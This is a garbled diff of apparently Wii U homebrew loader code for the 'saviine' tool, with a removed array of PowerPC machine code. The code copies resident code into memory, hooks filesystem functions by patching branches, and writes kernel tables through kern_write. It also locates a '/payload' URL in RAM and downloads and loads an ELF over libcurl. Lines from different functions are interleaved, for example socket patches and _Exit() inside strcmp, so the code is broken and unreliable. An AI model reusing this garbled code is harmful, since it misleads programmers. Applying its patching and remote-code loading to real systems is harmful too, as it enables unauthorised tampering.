if(--delay <= 0) {
ip.digit[sel_ip]++;
delay = (vpad_data.btn_trigger & BUTTON_UP) ? 30 : 3;
}
// Check for buttons
else
{
// Home Button
if (vpad_data.btn_hold & BUTTON_HOME)
goto quit;
// A Button
if (vpad_data.btn_hold & BUTTON_A)
break;
// Left/Right Buttons
if (vpad_data.btn_hold & BUTTON_LEFT ) sel_ip = !sel_ip ? sel_ip = 3 : --sel_ip;
if (vpad_data.btn_hold & BUTTON_RIGHT) sel_ip = ++sel_ip % 4;
// Up/Down Buttons
if (vpad_data.btn_hold & BUTTON_UP ) ip.digit[sel_ip] = ++ip.digit[sel_ip];
if (vpad_data.btn_hold & BUTTON_DOWN) ip.digit[sel_ip] = --ip.digit[sel_ip];
}
else if ((vpad_data.btn_hold & BUTTON_DOWN) || (vpad_data.btn_trigger & BUTTON_DOWN)) {
if(--delay <= 0) {
ip.digit[sel_ip]--;
delay = (vpad_data.btn_trigger & BUTTON_DOWN) ? 30 : 3;
}
// Button pressed ?
button_pressed = (vpad_data.btn_hold & BTN_PRESSED) ? 1 : 0;
}
else {
delay = 0;
}
/* ****************************************************************** */
/* Saviine installation */
/* ****************************************************************** */
/* Copy in our resident cafiine client. */
unsigned int len = sizeof(saviine_text_bin);
unsigned char *loc = (unsigned char *)((char *)INSTALL_ADDR + 0xa0000000);
while (len--) {
loc[len] = saviine_text_bin[len];
// Button pressed ?
update_screen = (vpad_data.btn_hold & BTN_PRESSED) ? 1 : 0;
}
return result;
}
/* libcurl data write callback */
static int curl_write_data_callback(void *buffer, int size, int nmemb, void *userp)
{
file_struct_t *file = (file_struct_t *)userp;
int insize = size*nmemb;
while(file->len + insize > file->alloc_size) {
if(file->data) {
file->MEMFreeToDefaultHeap(file->data);
}
file->alloc_size += 0x20000;
file->data = file->MEMAllocFromDefaultHeapEx(file->alloc_size, 0x20);
if(!file->data)
OSFatal("Memory allocation failed");
}
/* server IP address */
((unsigned int *)loc)[0] = ip.full; //PC_IP;
memcpy(file->data + file->len, buffer, insize);
file->len += insize;
return insize;
}
DCFlushRange(loc, sizeof(saviine_text_bin));
/* The downloader thread */
#define CURLOPT_WRITEDATA 10001
#define CURLOPT_URL 10002
#define CURLOPT_WRITEFUNCTION 20011
#define CURLINFO_RESPONSE_CODE 0x200002
struct magic_t {
void *real;
void *replacement;
void *call;
} *magic = (struct magic_t *)saviine_magic_bin;
len = sizeof(saviine_magic_bin) / sizeof(struct magic_t);
int *space = (int *)(loc + sizeof(saviine_text_bin));
/* Patch branches to it. */
while (len--) {
*(int *)(0xa0000000 | (int)magic[len].call) = (int)space - 0xa0000000;
static int curl_download_file(private_data_t *private_data, void * curl, char *url, unsigned char **out_buffer)
{
file_struct_t file;
file.MEMAllocFromDefaultHeapEx = private_data->MEMAllocFromDefaultHeapEx;
file.MEMFreeToDefaultHeap = private_data->MEMFreeToDefaultHeap;
file.data = 0;
file.len = 0;
file.alloc_size = 0;
private_data->curl_easy_setopt(curl, CURLOPT_URL, url);
private_data->curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_write_data_callback);
private_data->curl_easy_setopt(curl, CURLOPT_WRITEDATA, &file);
*space = *(int *)(0xa0000000 | (int)magic[len].real);
space++;
/* Download file */
int ret = private_data->curl_easy_perform(curl);
if(ret)
OSFatal(url);
*space = 0x48000002 | (((int)magic[len].real + 4) & 0x03fffffc);
space++;
DCFlushRange(space - 2, 8);
*(int *)(0xa0000000 | (int)magic[len].real) = 0x48000002 | ((int)magic[len].replacement & 0x03fffffc);
DCFlushRange((int *)(0xa0000000 | (int)magic[len].real), 4);
/* Do error checks */
if(!file.len) {
OSFatal(url);
}
int resp = 404;
private_data->curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &resp);
if(resp != 200) {
OSFatal(url);
}
*out_buffer = file.data;
return file.len;
}
static void curl_thread_callback(int argc, void *argv)
{
private_data_t *private_data = (private_data_t *)argv;
char *leaddr = (char*)0;
unsigned char *str;
char buf[128];
/* find address left in ram */
for(str = (unsigned char*)0x1A000000; str < (unsigned char*)0x20000000; str++)
{ /* Search for /payload which indicates the current address */
if(*(unsigned int*)str == 0x2F706179 && *(unsigned int*)(str+4) == 0x6C6F6164)
{
leaddr = (char*)str;
while(*leaddr) leaddr--;
leaddr++;
/* If string starts with http its likely to be correct */
if(*(unsigned int*)leaddr == 0x68747470)
break;
leaddr = (char*)0;
}
}
if(leaddr == (char*)0)
OSFatal("URL not found");
/* Acquire and setup libcurl */
unsigned int libcurl_handle;
OSDynLoad_Acquire("nlibcurl", &libcurl_handle);
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_init", &private_data->curl_easy_init);
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_setopt", &private_data->curl_easy_setopt);
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_perform", &private_data->curl_easy_perform);
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_getinfo", &private_data->curl_easy_getinfo);
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_cleanup", &private_data->curl_easy_cleanup);
void *curl = private_data->curl_easy_init();
if(!curl) {
OSFatal("cURL init failed");
}
/* Generate the url address */
char *src_ptr = leaddr;
char *ptr = buf;
while(*src_ptr) {
*ptr++ = *src_ptr++;
}
*ptr = 0;
// go back to last /
while(*ptr != 0x2F)
ptr--;
memcpy(ptr+1, "saviine532.elf", 15);
private_data->len_fs = curl_download_file(private_data, curl, buf, &private_data->data_fs);
/* Cleanup to gain back memory */
private_data->curl_easy_cleanup(curl);
/* Release libcurl and exit thread */
// TODO: get correct address of OSDynLoad_Release and release the handle
// finding export is not working
//void (*OSDynLoad_Release)(unsigned int handle);
//OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSDynLoad_Release", &OSDynLoad_Release);
//OSDynLoad_Release(libcurl_handle);
}
static int strcmp(const char *s1, const char *s2)
{
while(*s1 && *s2)
{
if(*s1 != *s2) {
return -1;
}
unsigned int *socket_finish = (unsigned int *)((char *)socket_lib_finish + 0xa0000000);
socket_finish[0] = 0x38600000;
socket_finish[1] = 0x4e800020;
/* The fix for Splatoon and such */
kern_write(KERN_ADDRESS_TBL + (0x12 * 4), 0x00000000);
kern_write(KERN_ADDRESS_TBL + (0x13 * 4), 0x14000000);
s1++;
s2++;
}
quit:
_Exit();
if(*s1 != *s2) {
return -1;
}
return 0;
}
static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
if ( !data
|| !IS_ELF (*ehdr)
|| (ehdr->e_type != ET_EXEC)
|| (ehdr->e_machine != EM_PPC))
{
OSFatal("Invalid elf");
}
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
int i;
for(i = 0; i < ehdr->e_shnum; i++)
{
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if(strcmp(section_name, name) == 0)
{
if(addr)
*addr = shdr[i].sh_addr;
if(size)
*size = shdr[i].sh_size;
return shdr[i].sh_offset;
}
}
OSFatal((char*)name);
}
/* ****************************************************************** */
/* INSTALL FS */
/* Install filesystem functions */
/* ****************************************************************** */
static void InstallFS(private_data_t *private_data)
{
/* Check if already installed */
if (*(volatile unsigned int *)(INSTALL_FS_DONE_ADDR + 0xa0000000) == INSTALL_FS_DONE_FLAG)
return;
*(volatile unsigned int *)(INSTALL_FS_DONE_ADDR + 0xa0000000) = INSTALL_FS_DONE_FLAG;
// get .text section
unsigned int fs_text_addr = 0;
unsigned int fs_text_len = 0;
unsigned int section_offset = get_section(private_data, private_data->data_fs, ELF_TEXT, &fs_text_len, &fs_text_addr);
unsigned char *fs_text = private_data->data_fs + section_offset;
// get .rodata section
unsigned int fs_rodata_addr = 0;
unsigned int fs_rodata_len = 0;
section_offset = get_section(private_data, private_data->data_fs, ELF_RODATA, &fs_rodata_len, &fs_rodata_addr);
unsigned char *fs_rodata = private_data->data_fs + section_offset;
// get .magic section
unsigned int fs_magic_addr = 0;
unsigned int fs_magic_len = 0;
section_offset = get_section(private_data, private_data->data_fs, ".magic", &fs_magic_len, &fs_magic_addr);
unsigned char *fs_magic = private_data->data_fs + section_offset;
/* Copy fs code section to memory */
unsigned int cpy_addr = (0xa0000000 + fs_text_addr);
memcpy((void*)cpy_addr, fs_text, fs_text_len);
DCFlushRange((void*)cpy_addr, fs_text_len);
ICInvalidateRange((void*)cpy_addr, fs_text_len);
/* Copy fs rodata section to memory */
cpy_addr = (0xa0000000 + fs_rodata_addr);
memcpy((void*)cpy_addr, fs_rodata, fs_rodata_len);
DCFlushRange((void*)cpy_addr, fs_rodata_len);
/* ------------------------------------------------------------------------------------------------------------------------*/
/* patch the FS functions to branch to our functions */
/* ------------------------------------------------------------------------------------------------------------------------*/
struct magic_t {
void *real;
void *replacement;
void *call;
} *magic = (struct magic_t *)fs_magic;
unsigned int len = fs_magic_len / sizeof(struct magic_t);
/* Patch branches to it. */
volatile int *space = (volatile int *)(0xa0000000 + fs_text_addr + fs_text_len);
while (len--) {
int real_addr = (int)magic[len].real;
int repl_addr = (int)magic[len].replacement;
int call_addr = (int)magic[len].call;
// set pointer to the real function
*(volatile int *)(0xa0000000 + call_addr) = (int)space - 0xa0000000;
// fill the pointer of the real function
*space = *(volatile int *)(0xa0000000 + real_addr);
space++;
// jump to real function skipping the "mflr r0" instruction
*space = 0x48000002 | ((real_addr + 4) & 0x03fffffc);
space++;
DCFlushRange((void*)space - 2, 8);
ICInvalidateRange((void*)space - 2, 8);
// in the real function, replace the "mflr r0" instruction by a jump to the replacement function
*(volatile int *)(0xa0000000 + real_addr) = 0x48000002 | (repl_addr & 0x03fffffc);
DCFlushRange((int *)(0xa0000000 + real_addr), 4);
ICInvalidateRange((int *)(0xa0000000 + real_addr), 4);
}
unsigned int *socket_finish = (unsigned int *)((char *)socket_lib_finish + 0xa0000000);
socket_finish[0] = 0x38600000;
socket_finish[1] = 0x4e800020;
/* The fix for Splatoon and such */
kern_write(KERN_ADDRESS_TBL + (0x12 * 4), 0x00000000);
kern_write(KERN_ADDRESS_TBL + (0x13 * 4), 0x14000000);
}
/* Write a 32-bit word with kernel permissions */
@ -244,4 +643,4 @@ void kern_write(void *addr, uint32_t value)
:"memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
}
}

View File

@ -0,0 +1,7 @@
#ifndef SAVIINE_H
#define SAVIINE_H
/* Include base types */
#include "../common/types.h"
#endif /* SAVIINE_H */

View File

@ -1,415 +0,0 @@
static const unsigned char saviine_magic_bin[] = {
0x01, 0x06, 0x08, 0xac, 0x01, 0x1d, 0xe0, 0x34, 0x01, 0x1d, 0xf2, 0x98,
0x01, 0x06, 0x09, 0x74, 0x01, 0x1d, 0xe0, 0x04, 0x01, 0x1d, 0xf2, 0x8c,
0x01, 0x06, 0x54, 0x6c, 0x01, 0x1d, 0xe1, 0x54, 0x01, 0x1d, 0xf2, 0xa0,
0x01, 0x06, 0x0a, 0xa4, 0x01, 0x1d, 0xe2, 0x74, 0x01, 0x1d, 0xf2, 0xa8,
0x01, 0x06, 0x21, 0xf8, 0x01, 0x1d, 0xe0, 0x14, 0x01, 0x1d, 0xf2, 0x90,
0x01, 0x06, 0xfd, 0xc8, 0x01, 0x1d, 0xe9, 0xa0, 0x01, 0x1d, 0xf2, 0xb0,
0x01, 0x06, 0x83, 0xc8, 0x01, 0x1d, 0xe0, 0xc4, 0x01, 0x1d, 0xf2, 0x9c,
0x01, 0x06, 0x85, 0x38, 0x01, 0x1d, 0xe0, 0x24, 0x01, 0x1d, 0xf2, 0x94,
0x01, 0x06, 0x85, 0xfc, 0x01, 0x1d, 0xe1, 0xbc, 0x01, 0x1d, 0xf2, 0xa4,
0x01, 0x06, 0x8a, 0x08, 0x01, 0x1d, 0xe2, 0xd8, 0x01, 0x1d, 0xf2, 0xac
};
static const unsigned int saviine_magic_bin_len = 120;
static const unsigned char saviine_text_bin[] = {
0x00, 0x00, 0x00, 0x00, 0x3d, 0x20, 0x01, 0x1e, 0x81, 0x29, 0xf2, 0x8c,
0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x20, 0x3d, 0x20, 0x01, 0x1e,
0x81, 0x29, 0xf2, 0x90, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x20,
0x3d, 0x20, 0x01, 0x1e, 0x81, 0x29, 0xf2, 0x94, 0x7d, 0x29, 0x03, 0xa6,
0x4e, 0x80, 0x04, 0x20, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xf0,
0x3d, 0x40, 0x0a, 0x00, 0x93, 0xe1, 0x00, 0x0c, 0x3f, 0xe0, 0x10, 0x00,
0x90, 0x01, 0x00, 0x14, 0x63, 0xff, 0x00, 0xe4, 0x81, 0x3f, 0x00, 0x00,
0x7f, 0x89, 0x50, 0x00, 0x41, 0x9e, 0x00, 0x24, 0x3d, 0x20, 0x01, 0x1e,
0x80, 0x01, 0x00, 0x14, 0x81, 0x29, 0xf2, 0x98, 0x83, 0xe1, 0x00, 0x0c,
0x7c, 0x08, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x10, 0x7d, 0x29, 0x03, 0xa6,
0x4e, 0x80, 0x04, 0x20, 0x3d, 0x20, 0x10, 0x05, 0x38, 0x80, 0x00, 0x40,
0x81, 0x29, 0xe9, 0xc0, 0x38, 0x60, 0x02, 0x88, 0x7d, 0x29, 0x03, 0xa6,
0x4e, 0x80, 0x04, 0x21, 0x38, 0x80, 0x00, 0x00, 0x90, 0x7f, 0x00, 0x00,
0x38, 0xa0, 0x02, 0x88, 0x4b, 0xe5, 0x79, 0xb5, 0x3d, 0x20, 0x01, 0x1e,
0x80, 0x01, 0x00, 0x14, 0x81, 0x29, 0xf2, 0x98, 0x83, 0xe1, 0x00, 0x0c,
0x7c, 0x08, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x10, 0x7d, 0x29, 0x03, 0xa6,
0x4e, 0x80, 0x04, 0x20, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xf0,
0x3d, 0x40, 0x0a, 0x00, 0x93, 0xe1, 0x00, 0x0c, 0x3f, 0xe0, 0x10, 0x00,
0x90, 0x01, 0x00, 0x14, 0x63, 0xff, 0x00, 0xe4, 0x81, 0x3f, 0x00, 0x00,
0x7f, 0x89, 0x50, 0x00, 0x41, 0x9e, 0x00, 0x24, 0x3d, 0x20, 0x01, 0x1e,
0x80, 0x01, 0x00, 0x14, 0x81, 0x29, 0xf2, 0x9c, 0x83, 0xe1, 0x00, 0x0c,
0x7c, 0x08, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x10, 0x7d, 0x29, 0x03, 0xa6,
0x4e, 0x80, 0x04, 0x20, 0x3d, 0x20, 0x10, 0x05, 0x38, 0x80, 0x00, 0x40,
0x81, 0x29, 0xe9, 0xc0, 0x38, 0x60, 0x02, 0x88, 0x7d, 0x29, 0x03, 0xa6,
0x4e, 0x80, 0x04, 0x21, 0x38, 0x80, 0x00, 0x00, 0x90, 0x7f, 0x00, 0x00,
0x38, 0xa0, 0x02, 0x88, 0x4b, 0xe5, 0x79, 0x25, 0x3d, 0x20, 0x01, 0x1e,
0x80, 0x01, 0x00, 0x14, 0x81, 0x29, 0xf2, 0x9c, 0x83, 0xe1, 0x00, 0x0c,
0x7c, 0x08, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x10, 0x7d, 0x29, 0x03, 0xa6,
0x4e, 0x80, 0x04, 0x20, 0x7c, 0x08, 0x02, 0xa6, 0x3d, 0x20, 0x01, 0x1e,
0x94, 0x21, 0xff, 0xf0, 0x81, 0x29, 0xf2, 0xa0, 0x93, 0xe1, 0x00, 0x0c,
0x7d, 0x29, 0x03, 0xa6, 0x90, 0x01, 0x00, 0x14, 0x4e, 0x80, 0x04, 0x21,
0x3d, 0x20, 0x10, 0x00, 0x61, 0x29, 0x00, 0xe4, 0x3d, 0x40, 0x0a, 0x00,
0x81, 0x29, 0x00, 0x00, 0x7c, 0x7f, 0x1b, 0x78, 0x7f, 0x89, 0x50, 0x00,
0x41, 0x9e, 0x00, 0x18, 0x2b, 0x83, 0x00, 0x1f, 0x41, 0x9d, 0x00, 0x10,
0x54, 0x63, 0x10, 0x3a, 0x7c, 0x69, 0x1a, 0x14, 0x48, 0x00, 0x0a, 0x45,
0x80, 0x01, 0x00, 0x14, 0x7f, 0xe3, 0xfb, 0x78, 0x83, 0xe1, 0x00, 0x0c,
0x7c, 0x08, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x10, 0x4e, 0x80, 0x00, 0x20,
0x7c, 0x08, 0x02, 0xa6, 0x3d, 0x20, 0x01, 0x1e, 0x94, 0x21, 0xff, 0xf0,
0x81, 0x29, 0xf2, 0xa4, 0x93, 0xc1, 0x00, 0x08, 0x7c, 0x7e, 0x1b, 0x78,
0x93, 0xe1, 0x00, 0x0c, 0x7d, 0x29, 0x03, 0xa6, 0x90, 0x01, 0x00, 0x14,
0x4e, 0x80, 0x04, 0x21, 0x3d, 0x20, 0x10, 0x00, 0x61, 0x29, 0x00, 0xe4,
0x7c, 0x7f, 0x1b, 0x78, 0x80, 0xe9, 0x00, 0x00, 0x3d, 0x20, 0x0a, 0x00,
0x7f, 0x87, 0x48, 0x00, 0x41, 0x9e, 0x00, 0x5c, 0x2f, 0x83, 0x00, 0x00,
0x41, 0x9c, 0x00, 0x54, 0x39, 0x00, 0x00, 0x20, 0x39, 0x47, 0x00, 0x7c,
0x39, 0x20, 0x00, 0x00, 0x7d, 0x09, 0x03, 0xa6, 0x48, 0x00, 0x00, 0x0c,
0x39, 0x29, 0x00, 0x01, 0x42, 0x40, 0x00, 0x38, 0x85, 0x0a, 0x00, 0x04,
0x2f, 0x88, 0x00, 0x00, 0x40, 0x9e, 0xff, 0xf0, 0x39, 0x49, 0x00, 0x20,
0x39, 0x29, 0x00, 0x40, 0x55, 0x4a, 0x10, 0x3a, 0x55, 0x29, 0x10, 0x3a,
0x7f, 0xc7, 0x51, 0x2e, 0x3d, 0x40, 0x10, 0x00, 0x61, 0x4a, 0x00, 0xe4,
0x80, 0x6a, 0x00, 0x00, 0x7c, 0x63, 0x4a, 0x14, 0x48, 0x00, 0x09, 0x91,
0x80, 0x01, 0x00, 0x14, 0x7f, 0xe3, 0xfb, 0x78, 0x83, 0xc1, 0x00, 0x08,
0x7c, 0x08, 0x03, 0xa6, 0x83, 0xe1, 0x00, 0x0c, 0x38, 0x21, 0x00, 0x10,
0x4e, 0x80, 0x00, 0x20, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xf0,
0x3d, 0x20, 0x10, 0x00, 0x3d, 0x40, 0x0a, 0x00, 0x61, 0x29, 0x00, 0xe4,
0x93, 0xe1, 0x00, 0x0c, 0x90, 0x01, 0x00, 0x14, 0x7c, 0x7f, 0x1b, 0x78,
0x81, 0x29, 0x00, 0x00, 0x7f, 0x89, 0x50, 0x00, 0x41, 0x9e, 0x00, 0x18,
0x2b, 0x83, 0x00, 0x1f, 0x41, 0x9d, 0x00, 0x10, 0x54, 0x6a, 0x10, 0x3a,
0x7c, 0x69, 0x50, 0x2e, 0x48, 0x00, 0x0a, 0x31, 0x3d, 0x20, 0x01, 0x1e,
0x80, 0x01, 0x00, 0x14, 0x81, 0x29, 0xf2, 0xa8, 0x7f, 0xe3, 0xfb, 0x78,
0x7c, 0x08, 0x03, 0xa6, 0x83, 0xe1, 0x00, 0x0c, 0x38, 0x21, 0x00, 0x10,
0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x20, 0x7c, 0x08, 0x02, 0xa6,
0x94, 0x21, 0xff, 0xf0, 0x3d, 0x20, 0x10, 0x00, 0x61, 0x29, 0x00, 0xe4,
0x93, 0xc1, 0x00, 0x08, 0x90, 0x01, 0x00, 0x14, 0x7c, 0x7e, 0x1b, 0x78,
0x93, 0xe1, 0x00, 0x0c, 0x81, 0x09, 0x00, 0x00, 0x3d, 0x20, 0x0a, 0x00,
0x7f, 0x88, 0x48, 0x00, 0x41, 0x9e, 0x00, 0x58, 0x39, 0x40, 0x00, 0x20,
0x39, 0x28, 0x00, 0x7c, 0x3b, 0xe0, 0x00, 0x00, 0x7d, 0x49, 0x03, 0xa6,
0x48, 0x00, 0x00, 0x0c, 0x3b, 0xff, 0x00, 0x01, 0x42, 0x40, 0x00, 0x3c,
0x85, 0x49, 0x00, 0x04, 0x7f, 0x9e, 0x50, 0x00, 0x40, 0x9e, 0xff, 0xf0,
0x39, 0x3f, 0x00, 0x40, 0x3b, 0xff, 0x00, 0x20, 0x55, 0x29, 0x10, 0x3a,
0x57, 0xff, 0x10, 0x3a, 0x7c, 0x68, 0x48, 0x2e, 0x48, 0x00, 0x09, 0x9d,
0x3d, 0x20, 0x10, 0x00, 0x61, 0x29, 0x00, 0xe4, 0x39, 0x40, 0x00, 0x00,
0x81, 0x29, 0x00, 0x00, 0x7d, 0x49, 0xf9, 0x2e, 0x3d, 0x20, 0x01, 0x1e,
0x80, 0x01, 0x00, 0x14, 0x81, 0x29, 0xf2, 0xac, 0x7f, 0xc3, 0xf3, 0x78,
0x83, 0xe1, 0x00, 0x0c, 0x7c, 0x08, 0x03, 0xa6, 0x83, 0xc1, 0x00, 0x08,
0x7d, 0x29, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x10, 0x4e, 0x80, 0x04, 0x20,
0x94, 0x21, 0xfd, 0x48, 0x7c, 0x08, 0x02, 0xa6, 0x39, 0x28, 0x00, 0x01,
0x92, 0xa1, 0x02, 0x8c, 0x7c, 0xd5, 0x33, 0x78, 0x93, 0x01, 0x02, 0x98,
0x7c, 0x98, 0x23, 0x78, 0x93, 0x61, 0x02, 0xa4, 0x7c, 0xa4, 0x2b, 0x78,
0x93, 0xe1, 0x02, 0xb4, 0x7c, 0xfb, 0x3b, 0x78, 0x7c, 0xbf, 0x2b, 0x78,
0x38, 0xe0, 0xff, 0xff, 0x7c, 0xc5, 0x33, 0x78, 0x38, 0xc1, 0x02, 0x7c,
0x93, 0xc1, 0x02, 0xb0, 0x7c, 0x7e, 0x1b, 0x78, 0x90, 0x01, 0x02, 0xbc,
0x92, 0x81, 0x02, 0x88, 0x92, 0xc1, 0x02, 0x90, 0x92, 0xe1, 0x02, 0x94,
0x93, 0x21, 0x02, 0x9c, 0x93, 0x41, 0x02, 0xa0, 0x93, 0x81, 0x02, 0xa8,
0x93, 0xa1, 0x02, 0xac, 0x91, 0x01, 0x02, 0x7c, 0x91, 0x21, 0x02, 0x78,
0x4b, 0xe9, 0x12, 0xa1, 0x2c, 0x03, 0x00, 0x00, 0x40, 0x82, 0x02, 0xf4,
0x39, 0x40, 0x00, 0x72, 0x3f, 0x80, 0x10, 0x00, 0x99, 0x41, 0x02, 0x80,
0x3b, 0x20, 0x00, 0x2f, 0x98, 0x61, 0x02, 0x81, 0x3b, 0x40, 0x00, 0x00,
0x63, 0x9c, 0x00, 0xe4, 0x57, 0x1d, 0x10, 0x3a, 0x3e, 0xc0, 0x10, 0x05,
0x3e, 0xe0, 0x10, 0x0b, 0x80, 0xa1, 0x02, 0x7c, 0x7f, 0xc3, 0xf3, 0x78,
0x7f, 0xe4, 0xfb, 0x78, 0x38, 0xc1, 0x00, 0x08, 0x38, 0xe0, 0xff, 0xff,
0x4b, 0xe9, 0x13, 0x49, 0x2f, 0x83, 0x00, 0x00, 0x40, 0x9e, 0x01, 0xf8,
0x89, 0x75, 0x00, 0x00, 0x2f, 0x8b, 0x00, 0x00, 0x41, 0x9e, 0x02, 0x94,
0x39, 0x81, 0x01, 0x6b, 0x39, 0x20, 0x00, 0x00, 0x39, 0x29, 0x00, 0x01,
0x9d, 0x6c, 0x00, 0x01, 0x7d, 0x75, 0x48, 0xae, 0x2f, 0x8b, 0x00, 0x00,
0x40, 0x9e, 0xff, 0xf0, 0x39, 0x89, 0x00, 0x01, 0x89, 0x61, 0x00, 0x6c,
0x39, 0x41, 0x00, 0x08, 0x7d, 0x2a, 0x4a, 0x14, 0x2f, 0x8b, 0x00, 0x00,
0x9b, 0x29, 0x01, 0x64, 0x41, 0x9e, 0x00, 0x28, 0x39, 0x21, 0x01, 0x6c,
0x38, 0xcc, 0xff, 0xff, 0x7c, 0xc9, 0x32, 0x14, 0x39, 0x21, 0x00, 0x6c,
0x9d, 0x66, 0x00, 0x01, 0x39, 0x8c, 0x00, 0x01, 0x8d, 0x69, 0x00, 0x01,
0x2f, 0x8b, 0x00, 0x00, 0x40, 0x9e, 0xff, 0xf0, 0x39, 0x41, 0x00, 0x08,
0x38, 0x81, 0x01, 0x6c, 0x7d, 0x8a, 0x62, 0x14, 0x38, 0xa0, 0x00, 0xfb,
0x9b, 0x4c, 0x01, 0x64, 0x81, 0x3c, 0x00, 0x00, 0x7c, 0x69, 0xe8, 0x2e,
0x48, 0x00, 0x0c, 0x89, 0x81, 0x21, 0x00, 0x08, 0x2f, 0x89, 0x00, 0x00,
0x41, 0x9c, 0x01, 0xbc, 0x39, 0x20, 0x00, 0x66, 0x9b, 0x41, 0x02, 0x70,
0x99, 0x21, 0x02, 0x6c, 0x39, 0x20, 0x00, 0x69, 0x99, 0x21, 0x02, 0x6d,
0x39, 0x20, 0x00, 0x6c, 0x99, 0x21, 0x02, 0x6e, 0x39, 0x20, 0x00, 0x65,
0x99, 0x21, 0x02, 0x6f, 0x38, 0x81, 0x02, 0x6c, 0x38, 0xa0, 0x00, 0xfb,
0x81, 0x3c, 0x00, 0x00, 0x7c, 0x69, 0xe8, 0x2e, 0x48, 0x00, 0x0c, 0x45,
0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe4, 0xfb, 0x78, 0x38, 0xa1, 0x01, 0x6c,
0x38, 0xc1, 0x02, 0x80, 0x38, 0xe1, 0x02, 0x78, 0x7f, 0x68, 0xdb, 0x78,
0x4b, 0xe9, 0x0a, 0x55, 0x2f, 0x83, 0x00, 0x00, 0x41, 0xbc, 0xfe, 0xf4,
0x81, 0x3c, 0x00, 0x00, 0x38, 0x81, 0x01, 0x6c, 0x38, 0xa0, 0x00, 0xfb,
0x7c, 0x69, 0xe8, 0x2e, 0x48, 0x00, 0x0c, 0x0d, 0x81, 0x3c, 0x00, 0x00,
0x80, 0xc1, 0x02, 0x78, 0x7f, 0x04, 0xc3, 0x78, 0x7c, 0x69, 0xe8, 0x2e,
0x38, 0xa1, 0x01, 0x6c, 0x48, 0x00, 0x07, 0x91, 0x81, 0x36, 0xe9, 0xc0,
0x38, 0x60, 0x00, 0x00, 0x38, 0x80, 0x00, 0x40, 0x60, 0x63, 0xc8, 0x00,
0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x7c, 0x74, 0x1b, 0x78,
0x48, 0x00, 0x00, 0x10, 0x80, 0xc1, 0x02, 0x78, 0x7c, 0x69, 0xe8, 0x2e,
0x48, 0x00, 0x08, 0xb9, 0x81, 0x01, 0x02, 0x78, 0x38, 0xe0, 0x00, 0x00,
0x7f, 0xe4, 0xfb, 0x78, 0x7e, 0x85, 0xa3, 0x78, 0x39, 0x20, 0x00, 0x00,
0x38, 0xc0, 0x00, 0x01, 0x60, 0xe7, 0xc8, 0x00, 0x7f, 0x6a, 0xdb, 0x78,
0x7f, 0xc3, 0xf3, 0x78, 0x4b, 0xe9, 0x0b, 0x59, 0x7e, 0x84, 0xa3, 0x78,
0x2f, 0x83, 0x00, 0x00, 0x7c, 0x65, 0x1b, 0x78, 0x90, 0x61, 0x02, 0x74,
0x81, 0x3c, 0x00, 0x00, 0x41, 0x9d, 0xff, 0xb8, 0x7c, 0x69, 0xe8, 0x2e,
0x38, 0x81, 0x02, 0x74, 0x80, 0xa1, 0x02, 0x78, 0x48, 0x00, 0x09, 0x95,
0x80, 0xa1, 0x02, 0x78, 0x7f, 0x67, 0xdb, 0x78, 0x7f, 0xe4, 0xfb, 0x78,
0x38, 0xc0, 0x00, 0x00, 0x7f, 0xc3, 0xf3, 0x78, 0x4b, 0xe9, 0x0f, 0x41,
0x81, 0x37, 0x48, 0x7c, 0x7e, 0x83, 0xa3, 0x78, 0x7d, 0x29, 0x03, 0xa6,
0x4e, 0x80, 0x04, 0x21, 0x80, 0xa1, 0x02, 0x78, 0x7f, 0xe4, 0xfb, 0x78,
0x38, 0xc0, 0xff, 0xff, 0x7f, 0xc3, 0xf3, 0x78, 0x4b, 0xe9, 0x0a, 0x75,
0x80, 0xa1, 0x02, 0x7c, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe4, 0xfb, 0x78,
0x38, 0xc1, 0x00, 0x08, 0x38, 0xe0, 0xff, 0xff, 0x4b, 0xe9, 0x11, 0x55,
0x2f, 0x83, 0x00, 0x00, 0x41, 0x9e, 0xfe, 0x10, 0x80, 0xa1, 0x02, 0x7c,
0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe4, 0xfb, 0x78, 0x38, 0xc0, 0x00, 0x00,
0x4b, 0xe9, 0x10, 0xb9, 0x38, 0x60, 0x00, 0x00, 0x80, 0x01, 0x02, 0xbc,
0x82, 0x81, 0x02, 0x88, 0x7c, 0x08, 0x03, 0xa6, 0x82, 0xa1, 0x02, 0x8c,
0x82, 0xc1, 0x02, 0x90, 0x82, 0xe1, 0x02, 0x94, 0x83, 0x01, 0x02, 0x98,
0x83, 0x21, 0x02, 0x9c, 0x83, 0x41, 0x02, 0xa0, 0x83, 0x61, 0x02, 0xa4,
0x83, 0x81, 0x02, 0xa8, 0x83, 0xa1, 0x02, 0xac, 0x83, 0xc1, 0x02, 0xb0,
